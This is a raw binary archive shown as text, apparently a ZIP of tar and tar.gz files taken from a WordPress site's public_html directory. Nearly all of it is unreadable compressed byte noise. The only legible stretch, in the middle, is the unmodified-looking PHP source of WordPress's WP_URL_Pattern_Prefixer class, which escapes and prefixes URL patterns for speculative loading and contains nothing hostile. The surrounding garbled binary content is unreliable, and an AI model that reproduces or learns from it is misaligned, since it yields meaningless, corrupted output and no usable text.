ޛ:4�����pSS}�Y�s�Ԩ@��M�%��d?YAF�z=�fv<y��jP�2��KcZEbx��L��w-˪����p�W_��Y������`a��CD?oݳ��=o�3�eW7�o'�[Rp�"��P�Q�NC��\U�\��)��<p�8�ό��ƜR2�m�E�[;�+��=�NI8��/u0<-0g�dzX��fε�w��Ǐ��=� ?}S�C�V��3�A|��ށ�:��z���Z��Q�y�jʔ��ٖ
����~��4�q��HrXGW�ܝ�zo:	��
`�E�+X�+�*����xXEo}��޳:5��"B%��ͺ��4�7�YZk��5��wO�/kct����G�cb���&�s�]�c(*��1���t�Nǂ:9s>��N�g4�?�q /�)9v�\p���v�%I_d��<��n��a�{I�XI��fL�����W�t��%�{��"��@��E�؜)�(�����&�G��T�v���6�e�|!a]F�3��y��� ��@s�g���c������f˫g��Od��
��5�:z�j:�X��_nq<g=o5rA��COj�����K����&��=n�᱄4���dF��P,v6��Aw��*�`8�N[{�K*�̚b�8m��=�=��^`�ב��8�q�2rW~�.��a2o��f�xy��J�_����ZhM�E�nQ�'r�w[
6'�{��`��]<��T��jf%v�P3멹@_n
��w�Vn����c�?}����>~<��YT��67&�dž����Z�ɾ�8ӪM��j��ams�=o=/���`;�X:���h��%y��l��}��#?z9�BԘ'5��8bBsc������D����iͫk5�>��W0N�V�9fޙb�������1��@�IdxPt�ЦB��B#��mM��ql�3!�S��hg;w��U����'%��e��̛e��O��_����+��a�=�czb[�s�bP�[üN��"���^��d"ȕ�_�d4rR�+����|������Kٻ��/�	&��$5�K��#����d�%��l����/�6r�i��aM�7",�Er;�_������'dN�[Ϊ���r��/`�7�����ˡ��o�}���%��>0����%��>�q.����/?8���i����:Z��O>�~{66�����ʋF��g4O���sCF�#پ�h�f��U�����g�S�o����w!:‘o/&�,��Ζ��`���E]-a���pݻ/�b��i�×؇{;w��T����� 0��EL���
s�\����e,���cϰ�1�E���r1�"hq]��8���p�M���e"_v�����ϫ�x��+'�d�Ʊ���j��W
�)�͓��e�w6`#�,_�a˵GGn�Y�O�x1��:�0��j����xUlO���b�@��k�t�c(���H
O�cH�K���'Nc#��C���g��@�+q��5l�5l�5l�~��_�۟�|��Lē	��$�~��緸�q����q�$dU�>>�HY"�.Y�06CEpXyɉ�I��8���^(0�
�d��🲒�
B�i�A�ٝB�9Я���}�s�.i@��H	�K���r��`ޯ���jk�R�?��ߟΌǦ�+m��nd�@��Ձ
!j�I�c�$C�������.^u
�sU�N�#������v��[d�>�*՛[���-TH�~F��=:�2�-^����s*KY�׭���>��ԕ�P&��Q��%�n��|����'��ſ#ֲ@<W�Z
��B�
�q��lҡ����A/�.H���ë�%�\@�.��λ����W���T9�ZXS�,��4q`�?���	�.
�Y��EG�8rv(��Z6vɗk����Y�YL�?A����o�,�ӱ���\�ϱ�̋	����su��A�����
��)�n��w���F/T��k�(���(i|!����k�_����@����k���z���~_�^����Y/�c�],�����A&��>7�on\^%'h' ���^��@Qy��	�s?7��c����Ԝ�f%7+����ϋ�R��]��SU�:�sz��ٵ���`Pٓj�<�˧�j
�oT+���	�4�r�ˤYg��؃���O���>A���k֯��9�O^��ïyQ���k(����?+X'�����w���>q~^/�kI~dV�~@�����j#Z��w8W*�0
'"��ɠ��
�~8:�D�$t�3M@��q��@Lss���~���L���N����\
�F2����u���~{0^����fd
Š��^wF�;�ם��dgt&ޒO�h��yz�N�m���~�:��Ϋ���3t��&�0\�3̕o`��ǚ&�C��a�X�g��7뾥��i߉�#҃<�����p���CO�ϑ�^Ty�̣pRR�>��`�6Ў߲@������m~���(
,��1��
߇
\֕���}F@>[��:��|�]�ͥ��}E\�����k"g��������$����cLͥ�_%�;~��ЕǠ`�]���/���?_�H�
2�	R/�!���$���jz�-��H�wRܶ��3)(��l�$ӹ/��a~v}g����Ǟ���i�o���Q�f�����볩��0�_o]�ULN[)b��?�=�#��`�6o<�A��z믊�7�&�%N���}s_p�i��o���>��A`0�4*}���}�_��Ut���ӿy�m�m����o�lz��A�}Ay
�
�1B�"�]E���hM���f���B�&Z�㿳�Kn�2�΀=����7��Ӫf����{NW����\DȊ���Q���1zt�g0s�v?O��,O�_��z<�ݱ���U�ƝX�L��P���};��t����E$=I/���Ϡ�1�.��ix��μ��x��3�w.ae&�-��d:�y�^?1oq��>J� ��ixB�MG�1mΌ6;�qO3͞P��;1	+�ˬ'�>C��goA4`v,t��eh'c��@����s�ӽ]�(�e˹�eZc��W�3^�����,��}��BKR�(3�-�|�o,�=��$QEZ�J8o�K��d����_��{��Uss���L��A\#@w�g�]m�:�@5�l�`W�@s|�&L��c�@���"G½�dh.��ﭲ?fK�����֧�<j���Z���#r
��N͹I�����n	�ZUlփhs����l\<�,��_�>�-�=�-���c!;_���Nu�Oo��U��y�NWݭ�,��k4.���k���Xea�r�L�#�C��;�/f K�s��,��\9�K�kV�3s�h1��ʮ���0x�~��*u�X.q����l�#���<^�{���(kO�Y!koE�:6�_��^���F'Ξ=�1���ki'�K�
*��ٮI�CrM!a�������a��-�
�qn��Fϝ�C�w�=]}K�3݄fy�I2{h��@���g�G���۽°p
xTt��l�XsX9�|�#TI����Jf�g����k��m�tx��-Z�(`}�C��,�dk���"T�)��r����T��$�q�D>@)��F��p�Av!f�H;/Ş����n��q|�g�q�� y,��j�v��N:'Ύ�oz�P�b�*<�,�����p,�P�sk���̐��'��Y���λv�*V�@�ie9��2.tMZC����uI�aC��g�x��U�ϑc�V����h�A�g����|�2u��#3��!�Q�%���9+��)�=w�����e%�0=C��+(��.|5�у( �I�	��.�I�	���7ķ����Y��%���~�׵:O7�.��w*��!�{w|XPI�SqIIs��x9��;9��ʼwRE��Ϗ�Y�;n-,_����UG��z��;�T<u���x���qn�������EQ\:��7<�Cx_��Op������f�{`%�_3�$��@�����l_~��lv��r��&�=Ysm�X���"��H��{���ub��m<�~�"U��L�"R�CT��0�����2Ϲ��Y�Lfrڟ�#�[>N�.��qQ�"��0m�yc��:���w�vFxw��vN��XQo5X�fƲ��U	�*�iI��S��'��*�=:M۵.}�\��<��:TN-I�ki�@�)��)�mP���@"�^@�]1%˛�}W�>o�)x��҃�M�H�Y�������.�竺l"�X`v����n�.1K�8++�z<���WOֱy��3>/2����˅��!����`ڵ`�o��.��m#���S��"ڱ�+��,� �<�o��s�6`ҿV�n�n�w+�}�oZ����߲H�U����~�^���v�@���PKYO\��(�(10/class-wp-url-pattern-prefixer.php.tarnu�[���home/homerdlh/public_html/wp-includes/class-wp-url-pattern-prefixer.php000064400000011302151442400070022363 0ustar00<?php
/**
 * Class 'WP_URL_Pattern_Prefixer'.
 *
 * @package WordPress
 * @subpackage Speculative Loading
 * @since 6.8.0
 */

/**
 * Class for prefixing URL patterns.
 *
 * This class is intended primarily for use as part of the speculative loading feature.
 *
 * @since 6.8.0
 * @access private
 */
class WP_URL_Pattern_Prefixer {

	/**
	 * Map of `$context_string => $base_path` pairs.
	 *
	 * @since 6.8.0
	 * @var array<string, string>
	 */
	private $contexts;

	/**
	 * Constructor.
	 *
	 * @since 6.8.0
	 *
	 * @param array<string, string> $contexts Optional. Map of `$context_string => $base_path` pairs. Default is the
	 *                                        contexts returned by the
	 *                                        {@see WP_URL_Pattern_Prefixer::get_default_contexts()} method.
	 */
	public function __construct( array $contexts = array() ) {
		if ( count( $contexts ) > 0 ) {
			$this->contexts = array_map(
				static function ( string $str ): string {
					return self::escape_pattern_string( trailingslashit( $str ) );
				},
				$contexts
			);
		} else {
			$this->contexts = self::get_default_contexts();
		}
	}

	/**
	 * Prefixes the given URL path pattern with the base path for the given context.
	 *
	 * This ensures that these path patterns work correctly on WordPress subdirectory sites, for example in a multisite
	 * network, or when WordPress itself is installed in a subdirectory of the hostname.
	 *
	 * The given URL path pattern is only prefixed if it does not already include the expected prefix.
	 *
	 * @since 6.8.0
	 *
	 * @param string $path_pattern URL pattern starting with the path segment.
	 * @param string $context      Optional. Context to use for prefixing the path pattern. Default 'home'.
	 * @return string URL pattern, prefixed as necessary.
	 */
	public function prefix_path_pattern( string $path_pattern, string $context = 'home' ): string {
		// If context path does not exist, the context is invalid.
		if ( ! isset( $this->contexts[ $context ] ) ) {
			_doing_it_wrong(
				__FUNCTION__,
				esc_html(
					sprintf(
						/* translators: %s: context string */
						__( 'Invalid URL pattern context %s.' ),
						$context
					)
				),
				'6.8.0'
			);
			return $path_pattern;
		}

		/*
		 * In the event that the context path contains a :, ? or # (which can cause the URL pattern parser to switch to
		 * another state, though only the latter two should be percent encoded anyway), it additionally needs to be
		 * enclosed in grouping braces. The final forward slash (trailingslashit ensures there is one) affects the
		 * meaning of the * wildcard, so is left outside the braces.
		 */
		$context_path         = $this->contexts[ $context ];
		$escaped_context_path = $context_path;
		if ( strcspn( $context_path, ':?#' ) !== strlen( $context_path ) ) {
			$escaped_context_path = '{' . substr( $context_path, 0, -1 ) . '}/';
		}

		/*
		 * If the path already starts with the context path (including '/'), remove it first
		 * since it is about to be added back.
		 */
		if ( str_starts_with( $path_pattern, $context_path ) ) {
			$path_pattern = substr( $path_pattern, strlen( $context_path ) );
		}

		return $escaped_context_path . ltrim( $path_pattern, '/' );
	}

	/**
	 * Returns the default contexts used by the class.
	 *
	 * @since 6.8.0
	 *
	 * @return array<string, string> Map of `$context_string => $base_path` pairs.
	 */
	public static function get_default_contexts(): array {
		return array(
			'home'       => self::escape_pattern_string( trailingslashit( (string) wp_parse_url( home_url( '/' ), PHP_URL_PATH ) ) ),
			'site'       => self::escape_pattern_string( trailingslashit( (string) wp_parse_url( site_url( '/' ), PHP_URL_PATH ) ) ),
			'uploads'    => self::escape_pattern_string( trailingslashit( (string) wp_parse_url( wp_upload_dir( null, false )['baseurl'], PHP_URL_PATH ) ) ),
			'content'    => self::escape_pattern_string( trailingslashit( (string) wp_parse_url( content_url(), PHP_URL_PATH ) ) ),
			'plugins'    => self::escape_pattern_string( trailingslashit( (string) wp_parse_url( plugins_url(), PHP_URL_PATH ) ) ),
			'template'   => self::escape_pattern_string( trailingslashit( (string) wp_parse_url( get_stylesheet_directory_uri(), PHP_URL_PATH ) ) ),
			'stylesheet' => self::escape_pattern_string( trailingslashit( (string) wp_parse_url( get_template_directory_uri(), PHP_URL_PATH ) ) ),
		);
	}

	/**
	 * Escapes a string for use in a URL pattern component.
	 *
	 * @since 6.8.0
	 * @see https://urlpattern.spec.whatwg.org/#escape-a-pattern-string
	 *
	 * @param string $str String to be escaped.
	 * @return string String with backslashes added where required.
	 */
	private static function escape_pattern_string( string $str ): string {
		return addcslashes( $str, '+*?:{}()\\' );
	}
}
PKYO\�X�'�@�@,10/class-wp-customize-widgets.php.php.tar.gznu�[�����}{_G����Cp$&����I�!���&��c�=��GH��Ա��t��l��~��ݒ��L��HU�^�Ϋ�c\N�ݱ��Mƻ�����f:ٽ����p���p��u_}2\�M9-�;�_����O+~���w�F?߻s��/>�˟n~���;w����|����I�V~?jAY���g������:���?�y3�s�FϪ���o圓�t�	�@^�f���l�*;�M��^��}�P)O>|5�S�nʈ-�x���I>�g�s·d��t�()fI3����7}��!���q�U8���L&��ëY6-�Ϫr�WM��'�g�,�М��2��777`-�}�j�
��t��9��.�*>�
����d��^ݳ�T�N�Qz���I�ʊ��NF��z>�M���ѳ�ʮd��l�a�:oCה@�z�j�����d�p\\�u�
�I>e�����eU�oqyH\�I1{��M�Q���bT���T-���E��o��"U����C��B����"9��ZR�/u�ߛ�<N�ň��_7�ێ�����JmM^壴Vk8�*�������,'f��>���bv��gr9x��$M�\�su9�7I����JA��D�KR�g�f���;�|�)j8)��N'��u��i���j��Ք�Y���,2�;kM��`@�
���d��&��_��������:|��N����C�~������ϣOw~>�z{��H�,@�s#PҸ�?��,�M�(ݤ�F@Hۨ}8Ϫl'wB�,����eS7U6w���lg��:�r���TM�Ű�P;��nll7��ʇ=���M��7ͼ���=/���t�n�����#�Գl^�ՔvO'���W_���/����/��2�����,��/ny��a~gt7�Kv����b�,���<�>����w�~�敍F�Y1Qx�M:�_:"V�
�dչ�A�6	.��t�c��[��Kn�;�:R1��T#2"(�+�~��5����W�G�9H�\=磅����8�dG�իb���4SS�p\��j����:�a6���l-�]]fW
}6����|��"�M
]R�EMU1�&U`�yZ�a��,F��*o���v3جy��?
�V^�U��Q@S�ty���h����l�B�*'mG��p]����|�&3��y�)�����U���n�&y���5A����z@���^�k�~�(�|ш�ĝ�&W"��V�6��"�\�&N;f��0�Lg����){�G�)j�P"\�T����[�7"�f�V4�Ng�� M��C4�dr���Q|-E��/�U�������d��z$o��8�d�1����	������V1!�΁��0��q�u�9�l~k�)?*n�e�<��0Jc)Tq����2��3d5H��Q��Y�eU������`�����'yA6Ŀ
PV�^�M���8�s%��7W��vɗ><W��ǔ�E�f���Բ�J��b�rF�N2`˾,`��K���y�h���������|�&�����]bм�p��B��l����O,�f"����L��?\:sq����J|@4�F��?�bOm}-��5ܱձ(�p�f�a�i�`��غ��(���k���:��n��\]�i1S�Pm&�&����(En������R�Q�K�tuݘ���w�I0�vL/����k��z�*t�
]��3�`Nwz���O���B���!�"}���di��Zt�d���B5}sQZm`�A��{�� CӮ3��C��
����;�@�?~�8	HH�����-p�qG�"�͟� 8�@��i���n��֥�Bt�4^YsW���o�@=W;K���R����"��Q�dhtTZ��5�Ղ$�g%��&��b�?��L�ԥV�k��Xh��1�h���&�U�
z-3�m}1e_j�ߜ�ߖ�:��I�*���9���?\����曂Y1��&�E�D����i�P:[L&]�
�㶅�b�������J43���V�u1W'./?�H?�Dߓ�G������c69�QǺ(��	WU����HjS'Y=^Zk�$�Z��@�M��q.f�R���x!�Gt[�ȵ����j���u��|���!���D�?�]Tr��E��ٷ�?T�1d���lR�oH����%���`J|����Pdm�+�A��㏍����y�2۞�H,��(1M~�N�=��7��s�� �y��:4��3�����eQ��ײ�ui�|��+�/*]���E��^�<Q��2m%��%:��R�t)Q�.��D�bҬg����$7�3
�9�i�Z
�l�D&�_�t�s�^/Z�Ͱ����!�]�qϟ�A��>:#���R#߁���R/�w\Oٰ�o.p?HE#â9���g҇����ȼ���{�F*S.j ��8Wz��CõC�X!X�0�L$z*�{(&;Ƀ�b�j��I9�N��s��k�Xe�p�+������<R�t	�@�����L�4�i9Ҷd-q�	��mc�}	Ƴ�41�V�M��=�.Bgַ&{Z�߾�CY�{'y�&�^�4���mr���*��������W&�LA�\�d�
"\�!�e�X��{��p�����M���lv��l���.[��	�z�'mG<@�&�%���%��u,��ђ���ji{"�� ܙ�`�d����{����U;���(:��?~|�̓��;�[�	��w8�:i���2��<�k)�z4X�ƭC�*�V}
O�4?cz�v%W�1�٨�
1�x�s�P@O ��+&��k��fG	�����i�|��3��ꖌ&�G�|��	ll���h���t[<!�J����;÷ݙ����P��XV��Z�̓���F���n
�z#
g�e8�1`���&�d�LV�Z�@�u�u���֥v��M˟�y�s`����E	�q��[Ej5��ٟY�����Y�$Cŗ�l,󂣧�q�=��~w��O�(��*m�^��:H�gEE�Q�hLR�'�4�ZEQ#r-��,/��(���@�oè�6(S�g#�b�jW�Q��^8�ƨ4�Y���k�����/�g@��?��I*���B��P��.��{���W��E���G�����5�?Ƅ�Y�S�GMl
��b�	8���~��Ȋ	����4�޼ئR{�T͉���	��ߑ��<\ޒҡ�8g�ލ��Z.]
R}X��i�1�g�b�8��iv�Ґ�5��E]������X�lӵTZx��m�T�n(�'9�J�����m�r��f
�,A��ѨF$�X�����o�4|
�M�<�Lw�5Ԅeu��JZ坐��γ�bZ��2T
����Y��jAZ[۷]�ra<>V������b	q�i^��]D8��XŌ�,lG6�+��5�s†y�H����U�P_��g���9�7kWឍ��{���>R"�$ȕ�]���h��G�d��RVs%��QQ>3��WZ(�&0��dru؅�d>Y�+�ם��8�!���K��2�4-��XFˤ��ow���UTx��oum��f@�X���3�Cb-om\y0YhBX �_Z�q�]	s�0#�&Q8�.>ݖmj5�'��fr�t�@`s��6�.���wtm&B�t��v��q�QQ5WH�j�ӧpo7���dm�a���'��qӝ��=��q���E3��V��T�×��R%����K� m)��6�8xo�Y.WB����t�O����4O�Yu��U	h��*��v!¢�����vH�Avf��(��+��۷��S}t�
_u�f�QX���Xk��M����NXN�{eH{�J� �sr�ɰ���gi�Ч���5���E�ī�4b��[a���G�غ��v$dz�i��3W�2E�^���\����$��,<�G��'@�b�Ӯ�����Z�Z�UDp�S[����C�Y<:��B+��F�߳�Ht|�>�q����ށ�]��3=f�
|�M��ݻrL���gb3}�$K+�T+ø6�����]xT���o��҈����9#�Q���%�p����3��q�;'=�bI�w)��9������'d���촐�
+��u�%�i�ްV5�A,�o��#�t�,�su�u7��ј��S��,��z�]��|�r~��HtT�K�)�v=�/�^c:��taߊ�U�	
�۹���y���^&�_	��n�Հ�� �g&���=�FZ��y�����K�+���l�p	Vޞ<��'�d��&[f�2�o��#
���Z	y�����+D��GH��x��u��7ZM�SM?XtI��XA5���N�m��i�����>P���h�����(��\̚��Z�Ǔ��x6��OyY���v�h��7���{�َ׼����;k���-stA$��W�{&|�*
�ā��uU���ڲ�C�Eq{A/�;
&��h|G22������Iv��-0rB[PNs���g	�"W(B(9�xE�(�OlAnv��Y�K$�Q�B��Vޚ�4Ӏ|�^�ƴ�^�N���)o.��ߕմ�Z�ou�R�w�%e|����GM۩�KO�V����G��(�E�Ѧa3��4�Ull�h�ފ�ud�ڌq^�����!2$�O���	�7�^蠥���B��E����߯o/B�~�j|t�;��|�/�p�:A �';00��rf�ste����?�ݥ��`���mϬ�ދ���F�<@�K�pl����r��iӭ��I|7�`%1�Á����6eU����?���ä˾ @q���<r͈lُG�$���Ӽ���&\������90$�s
�o�!	���scR�Q,�a;��aʤ��$X3؃����5@|OlG"Z�>�E����-�o[�迅z���H��\
}f6K�|��ym�u#�	��\jٱk�.[yic!ޔz��tt���u��Va.=��^g���|�p.�Т|wo{_���K��p�R�i�xt�j�(����'
�M>9�WgG���1�܅m��c.Y����x�]�G�7����̼���?*����<%��:��`�.e�=�����8]�&��AϢ�r�e�G���"�U��b+@äǂ%�C���]��L��}���U�U��3l��<
�{�X�l@��儀lF�5ILx��$�,#��E͗D�00*f�1� $|�>zF�����'��a)ƨ��(@a�C���l{���3����L�Գ��l"�o�Ͱ��c`ƃ�0�8�w;�6 �Zю���|���B*)Hek�J	މ�Pv���jt��ۤF�F�/µPǵc��9񽊔�c�*ǰt2V�u>�
�j]O�g��z%*Ed�y֌w���^�h��<��d�G�)W7G8b�-?h��c���)�u-uĿx��G�q�.d�fv3�(@=���D���.�9�f�^��G�m�0|%K�4�d¯}�U��㥺gEv�vg��L#f/�w3�e��%!�F;?��C�g6�XMI�ِ����n��>d�Z���㵆���,���$.�˹|��BԛL}�3��E���,;Un��J`>�K��s�:�W�_�y�j}p�r��*�W�5f���D��]dG�}M�^x8�~y��F�vz�`��.4�����-N�� �o���N��@���n�C��� �f���m�Gt��\��^�Los�\�J�d��i9�'�p���t��N�t���O�{[�&��5,3��%�M�s�S�ܱ�����s�'"�cã��W�B�^�+c�A�������[ԣ�=�����Z]Ci��X��4�)8��>���:�u{���m[{�G����vgu�����鴫�Hn�Xu�g�f!@�O�dR��ߚi3
?Ű-�o�\DNp��M���
��߭�ַ�῟6�ۗ�Gp@�#:���Oq�݌�I���k���5O@�tYn��s��f�([��\X3�:t�w΍K�b��o%�.F71�KA�a��{r��lܟx	|�lݿ��J�u血<c�2��2;?�;a�[
?�;D����Z3���ߝf}o����]L����&P�=�k�P���0��`��:D칿K�2=F��B9�##��Ԕд��g�4GzH>�;��	L�7)ygc�S����H�I�5
��w��~u���)Ph�EM�r�C�K�-�\өY �8�y��@�z(�X���):�U:ʇ��w�E���kv���mJJ"W
�YFLL�8\L2�9έ4���V�Ji���ѓ���x����	D�tR*�rV/�V�h��> 묒����?a�+p|����@$w�E���������j���.9�
���&M�A�������@�g��/dxzpF2����Jg�[�C�[���A����P|ds�͕[�>A�R�S��qܠ�Z��a�R��0�> n�r+>��J�||Y/���.�;�eS{�ŵ!}S6J0�߂�k����m��v���{�q;��e6c��`	��LtK<�=`/E�Z�&RS_-�G�b�@A@���6�LC�H�������љ���]��r�M�]��4�����<�%�
���)����j������ERp�]�V�I���'�&�R�/-�3��͚�(��db���?
����A�(���py�!��U��$�i�C@3�;��!��$;ϊ��J��ыydž��nR{Qa	�<D�&���|��Kq���gtV'EP���'�����T
FYN !���X��
�9��~U��R�l"tk'@��hL�"G�2�,�t�R�8)�X�:�cEǟΜ�g�P43$�.���6�����o8Q��!2?��)�$��f��}8���d���4D/���}�
�-�)_zt���SM���Fb|C�x�O�����Y6xb��458t���oOJg��$�Մ�Ɲ�Nl#*�#,��D�DM=;Q�iRG]���{OAo{�D��fC�)�eH9o'$�mm��=��kӒg�$�J/��z��U��� ����JEf3z8��G�'}��?�7��'���}�������G�?:��@�}�����f6����b^h)�+�1]��@�
1A��y@fOt����X�I
.�SȒXRB��dޥ� Hl݌ZTɫ8�bnWM^�~,��dZ�v�9`X�����
�[�HN�/��bX<출��Ł�~�9\�����UK]��<^ɵ�7fz]�5�e�0��M���]3��~/"|���Q9�)�FW]m��jpE*T�����R�����*MTm�@86!;�D�
�[������X�P7�"���b;�yK��u�7�� i��`E��������0��C(~W����I�M��:���,X��������
9����s���qZ�T[��
i�u�!�k�[L<�xvd��."�0�7AH|p�%�[j5�b�Vi�q+�B7S�f��q��rkM#^Z<!��{J�,�h�G���'
e/��s8�]駘������f�~s«#��4���r`X��z�=�V�x���,�\���:�1�q�t�?$e�o^�)1·i/"�����f�z}�5��@�[h��G��Hx���P�'rۥF��S�Q�h����VԬb��5��m�D��L�f��G�>��4�Z�����AIOM�Rk�x��;е�@΁-�
��.��a���>n��AN�_q�������p)�g���[r�U��P
]��W{�'��l�n�$�I��1�m��s�`�a״���i)�k���<�	Ӣ��&1�ǂP(ˉ�7S��)n��N����cp�r?�3��kٱO>��Ͽ��
k�
�#I�B�yY̨���kp���#��C����^��H(�ޢ�U���T�ʺ��mr�J��/��^�"��\֊�}������kG����7o��8�#������?���2�w�!	<����)�4�^�-�d7|���
����F��[/�rѝgJ}+&
����b$d͛�v�[R���do�bϗ�,���{�o�`�!�	o�NME;1��U��:<�E��������yW�}}�\��o�>
�ǥ�aE�\���X~�g�p���i�J����]Ǣ?�X��lě.M�JC��d�gc��A����j��>�#�0�e
#ml�C�&�_��V��yk���&Y�����ݼ�n�
�z4j�ᶨ�^%Qs�pNx��k�PX����(����'GͶ�������U,��Y	�F-bZ�����&r2ج@�,Y2`��M<�frR�m�"?�~<��qB2<FjG���b�:�[�eS���{;ʷCZK�I��b�eXO�s�)�*�����چ�68�g
�;�Q��X��6�s�ί���xL����+�g�k����B��B���Y��XI-�8=�q�2��`�ڠFdP\S zk8=|�:��6?֛R+�8�Z_���#Xi6}����u�/CiZ:�7�'�:���t{e�g�X���6�XP�׭y�b䷍?�X��(P���_6��/��H��x\��SA!eL0�8e�3�?<<2��Em�SDn��2&�=>�����3�X��ex�����r����3	��%ո4��<�CnĦRwS�I?�q��ǫ�li}�<��M����h�6�4[�֓���/Y����_�?�O d��	†���r}�(&jb�Œ��a��9�$§p�r��
�7�e	�Mz�t&;Oy�8�J���[&m�4m8:)��4%xw
[��&�.�Sr|���EQ)A��7G�<���*���r�w�b!�lJ�o��ീ���[0�Z�O��� _~
����e&)Z6dk
���rR	[9BG(� KR|�R+}	�Y��t�yB 	�o(Y�`��9y�8۰�_�I��6ۮ�e9�:'��0����{���)�tF5n�tY	��{v�����Ɂ5IO[-	��]���2���=}2��"���f3�D�QN�%���)�:);���ґ�Nc}O'�V
�I���=��lDwi��0I[�N\q̪97G�y����6"���F$2C2c�D��^)��[2X?M�4�r�����Q��S_�՝��HK�IaQN\'��2�H����VYٴ��?��u[�6:��ߺ}��}{,�dJ21��,�|���r>r�v�#b���[���0��ؖ�9�-l_�q�9U&o
y���iJ��	��W-:��Ġ���P�F�	��ڼ!�+@b|�>�7�D(�a�v��4�-���D�K��T�� 7l8�lOϾM��$�O;z��n$iQ�2�L���)
��2��D��a.�|���F4���I��[�	@/ߢ�mqe�Ey��8�]7x�h��O2�k��Sm��O�0g�zz�ܴU^峢��P��B�G̠��4�W2�գ֎��b�$�%�P��>�YL`���B������(_YϚ�S�Ri{��*�N�V-@���Q��k��"(Ӭz��_����t��fa?���=`���G{��& �DՍ��
���8��2
�o"�6}�)�}���'��ydk�j��G���9@�9�P�l��T�zJu����
�m�(���ꍍ'y6#rͭv�G)��
Uo/��M�z���'�^�L:?��X�K��e��>�$����}~>Υ�N-.���h�9#(o���7hF�K�J#�hԌ�D*�0�KBT��MY�/&�/���ƥ�`���L�J�-�bMp�-Nk|�a�Ȓ>��'����
�ˈ�L�F�,?A鿘�|�0H���a��Q?����ܰ6ɻx-`W�N�{0���j;�ݰd��K�*�z�6#iZKo
4�-I>H'�U��#|+���U�1E/�!ʇ��`t����$PXf�?C#�E\��(F���|b����n�ȉ�@�R���	,�uܡ����ڢa�Cqcl�6�m�8���x��<�,lE.�Xju�f$UTu#'r>���gNX#�p9���`�`�?|�5���
�@O5uCH��â�"5�傦\�&�H~���+~��'�q���R���*Œp���uVvõŸxb6q��acmb�5j�=u$��hC���SY��:�o�a�EM��e��,��N���Q'y�t/��SM/!���CU{!Ӵ��l��
�ɯ�)D�y�P�<B/�
a��n+7��*q�q*�@�3!�F��q��Lٴ�^�C"pnP���cL!
N���Z�K�z(�-����BQ>9ju�WսNAy
j�[�.�J1r�.*�P��%��z��2d��<��q�A�i��6Ȳ��X���8O��b�m��^'tQ�j�2���9ef���Z��	��7-��[���R���	������*��i��_��Qy����3�T�Y�3%�޾�|���|I���+�>�f`fÏ���ϲ��myޅ4Y���gg9�Bxe�[+��|�ND��%�E����WQ��a���
o���;<��ԍ���V�����`p
E�0��>I��`şST��t��H�m���:�� A���qq�pU-�jN��S�I���b�P�`���rQ�D�<*:�F1�K�sV@Æ�1�?��&��<�1�` ��� ��+�&H$ڞ�F���2���G�,ҩ����x3�z|���5�2� 2�/�ŀ����6�9Y�d4O�՜���\H��ϳ�ݏ9��O?l���r����=����4�9���R[R;j2�Kx�өۮ���Q���*��E�‚_��u��y���%x�1���4�	�t�E�j�Ȉʽw�:
�2·���0q�R8��Z��S�P�H݄�pӊ-�R{m[U�^�S�{�,�������vEf�d�d(k��*�k�XKM�`Ϟ+.|L��%��&b�*p����"h5�4�鉵RH��HOqq�$��^LsAMy6��o���`- �=\i�O��Pn����H��d��	��:-����3S�l-,Zy,ȭ�H�s�����ձ��e�"�E.ikԝ�ޡk�߁kh��;/s�KɴKPӆ�YHp�����<�-���痒�3���u�� �!m'C�F����>��ɣ�4uF!8�'&9�\���f��}�|�u�\��Zκk׸fj?�4�^��un�m�L2h�v�n�Wn� �]>��YK�������8����m�������o��H�Fړ�F�� ~���N�`:���H�v�
����H�+��y�XH�a�	'��Z��'�i�(�����,�}�K�Vέ0% �c����8�R�y[S8�*��L��iP�;�k�����3��H�A�Va���qQK��#l�RA� �a���Ǟ?�����9���*�g�&x� �ZPLA:��;u�ʊ�J,��Gq�E"�0�w5J�'�)nS6$���X���9P�F�1���1bsQ����(�+#�~{<��?t��ؠ�d�^�'�D5�H21&
�R*~viE�o����}��{<C*�ž��w
jx"{QN��I��a�&��n캪��SfWOka%��p����b�3bAҕ�]Y�%W4�3�T2�Q&��!�D�8�jH[�!wV ��hd,`��r�N.�Y^Q�p�yڄq�)D��c;ڨsy�Ȁ�!��C')�q����N���r���h�V`�o5���޼�u�	v{S�����f���,%%�s@�/�J�� �E:�(��N �f�Ǖ�Xd(V^�Wi��;ԲTMR��aA6��2<��CՊ7������i��X�sx!�a^ń���cQ�NmBm������'rsN�<x����ڄ�T��R�Ab#+s<����^@ӲKK�u��%X�'��0��Ҝ���G~�O���]�	Un���`9��c��]��/��޹�A�@�9H�w��8��X�1P7�ԑ�յ�א�Њ���Ȥf:<��mjv�8�U�B����\ʚC�~%�x5Wb>�1���g��')��BX�T8��Ƌ��ޣ��6�=E��>`��ƠsZ�2<�7�F�G����.(���v���R�*�j�bӸ�8F�#~:�*���M��������N�{���N��f�(�D�lG�u;}���98/��������wG��=&�n��5�WU.�썜0N�B�-�*�Q�~��w�,�V6
����u�����-��䝲���\��e.{���c8���dCj���	�w�#�iyG(0���9����3M���|�<�g��e��6>���eЄ��[3�Qa���}�-=-�ۧ���A�ͫt�E�����BT�Z�f��<���HD��4�:>��
Y�29d.�6G*��]s��e5ڱ��b~:�	�7��b���gEqS�\�M#����yQ���&�o���R�]ΆEt;˚�rE�!�pI�ǿ���)��^Xn2�H�LJ!}Y��\�������gn����I� ƹ��3,�u\-R	Ɣ��fu�i6B�Kqr	���ՙ�ڦ݋#��x%��u���Z���T��D
2k�v��LLԻq�MKϢ}(ƞZ1�WrB+��\�k�pҟ�׋G
�y����	Y���D�D{��!K��B�9�T�0_�E�5Ƞ�8�����]L�
�K����������1`Wf�&����'�m֝*�-Ќ�
������u��{��Rnl���VOZt������$9��WP!Pʊ���8U�ꞿ��{xF	��,�a9:)&���j���&��=�ϙ�	4#���T�=ь
؜ތ�%�Y-��@�ID����05S�U��Lg���!�8}(�ؔ���+�L�e���'�j`x`l���G��&�|@�/��P��9?=�tm�ӗ���4��ޢ��r�$�ư��k���Kp���]X3�<~?e~�І�(���z�n��T	~!&�Q�%:�M���ofaxR���Y�]erE�Ԇc:5z`�����r4I�9�B��&#��ȦQ���m����ޠdH��R*"Z�#�Yo����k�8d��C�ӱ۲ˢ�Z�q�>X�Kȷ1P{�DC�7��:3^�0h�q��eo�������_��H������4��y�<��Ӕ���f�qU�P�	���bY�|�&O4�M������m���s:+���o�k��"$�7c�4���3{�Ӱ����^���@�5��h�
eg���s�[�Җ6B�V�iK�}q~�<�09�}T�
